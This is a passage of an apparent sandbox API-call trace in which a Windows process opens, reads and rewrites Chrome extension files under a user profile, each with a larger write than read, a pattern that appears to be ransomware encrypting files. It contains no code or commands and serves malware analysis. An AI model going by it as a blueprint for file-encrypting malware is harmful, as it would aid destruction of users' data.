(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.000] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.000] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x109 [0050.000] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.000] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.000] ReleaseMutex (hMutex=0x128) returned 1 [0050.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.000] ReadFile (in: hFile=0x198, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x318f2bc*=0x109, lpOverlapped=0x0) returned 1 [0050.001] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.001] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x691, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x691, lpOverlapped=0x0) returned 1 [0050.002] CloseHandle (hObject=0x198) returned 1 [0050.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.002] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.002] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xac [0050.002] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.002] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.002] ReleaseMutex (hMutex=0x128) returned 1 [0050.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.002] ReadFile (in: hFile=0x198, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xac, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x318f2bc*=0xac, lpOverlapped=0x0) returned 1 [0050.003] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.003] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x634, lpOverlapped=0x0) returned 1 [0050.003] CloseHandle (hObject=0x198) returned 1 [0050.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.004] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.004] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xfb [0050.004] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.004] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.004] ReleaseMutex (hMutex=0x128) returned 1 [0050.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.004] ReadFile (in: hFile=0x198, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x318f2bc*=0xfb, lpOverlapped=0x0) returned 1 [0050.005] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.005] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x683, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x683, lpOverlapped=0x0) returned 1 [0050.005] CloseHandle (hObject=0x198) returned 1 [0050.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.006] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.006] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x12c [0050.006] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.006] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.006] ReleaseMutex (hMutex=0x128) returned 1 [0050.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.006] ReadFile (in: hFile=0x198, lpBuffer=0x262e838, nNumberOfBytesToRead=0x12c, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262e838*, lpNumberOfBytesRead=0x318f2bc*=0x12c, lpOverlapped=0x0) returned 1 [0050.007] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.007] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6b4, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x6b4, lpOverlapped=0x0) returned 1 [0050.007] CloseHandle (hObject=0x198) returned 1 [0050.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.008] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.008] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x14e [0050.008] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.008] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.008] ReleaseMutex (hMutex=0x128) returned 1 [0050.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.008] ReadFile (in: hFile=0x198, lpBuffer=0x253c818, nNumberOfBytesToRead=0x14e, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c818*, lpNumberOfBytesRead=0x318f2bc*=0x14e, lpOverlapped=0x0) returned 1 [0050.009] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.009] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d6, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x6d6, lpOverlapped=0x0) returned 1 [0050.009] CloseHandle (hObject=0x198) returned 1 [0050.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.010] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.010] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x115 [0050.010] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.010] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.010] ReleaseMutex (hMutex=0x128) returned 1 [0050.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.010] ReadFile (in: hFile=0x198, lpBuffer=0x2644ab8, nNumberOfBytesToRead=0x115, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644ab8*, lpNumberOfBytesRead=0x318f2bc*=0x115, lpOverlapped=0x0) returned 1 [0050.011] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.011] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x69d, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x69d, lpOverlapped=0x0) returned 1 [0050.011] CloseHandle (hObject=0x198) returned 1 [0050.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.012] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.012] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3b059 [0050.012] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.012] ReleaseMutex (hMutex=0x128) returned 1 [0050.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="craw_window.js", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="craw_window.js", cchWideChar=14, lpMultiByteStr=0x1e6324c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="craw_window.js", lpUsedDefaultChar=0x0) returned 14 [0050.012] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0050.242] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3a059 [0050.242] ReadFile (in: hFile=0x198, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.243] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3a059 [0050.244] WriteFile (in: hFile=0x198, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.244] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0050.244] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0050.244] CloseHandle (hObject=0x198) returned 1 [0050.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.443] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.443] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa0 [0050.443] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.443] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.444] ReleaseMutex (hMutex=0x128) returned 1 [0050.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="topbar_floating_button_pressed.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0050.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="topbar_floating_button_pressed.png", cchWideChar=34, lpMultiByteStr=0x1eb2084, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="topbar_floating_button_pressed.png", lpUsedDefaultChar=0x0) returned 34 [0050.444] ReadFile (in: hFile=0x1cc, lpBuffer=0x2515f38, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2515f38*, lpNumberOfBytesRead=0x318f2bc*=0xa0, lpOverlapped=0x0) returned 1 [0050.444] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.444] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x628, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x628, lpOverlapped=0x0) returned 1 [0050.445] CloseHandle (hObject=0x1cc) returned 1 [0050.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.445] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.445] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2b8 [0050.445] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.445] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.445] ReleaseMutex (hMutex=0x128) returned 1 [0050.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.446] ReadFile (in: hFile=0x1cc, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2b8, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x318f2bc*=0x2b8, lpOverlapped=0x0) returned 1 [0050.461] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.461] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x318f2d0*=0x840, lpOverlapped=0x0) returned 1 [0050.461] CloseHandle (hObject=0x1cc) returned 1 [0050.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.461] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.462] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x26e [0050.462] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.462] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.462] ReleaseMutex (hMutex=0x128) returned 1 [0050.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.462] ReadFile (in: hFile=0x1cc, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x26e, 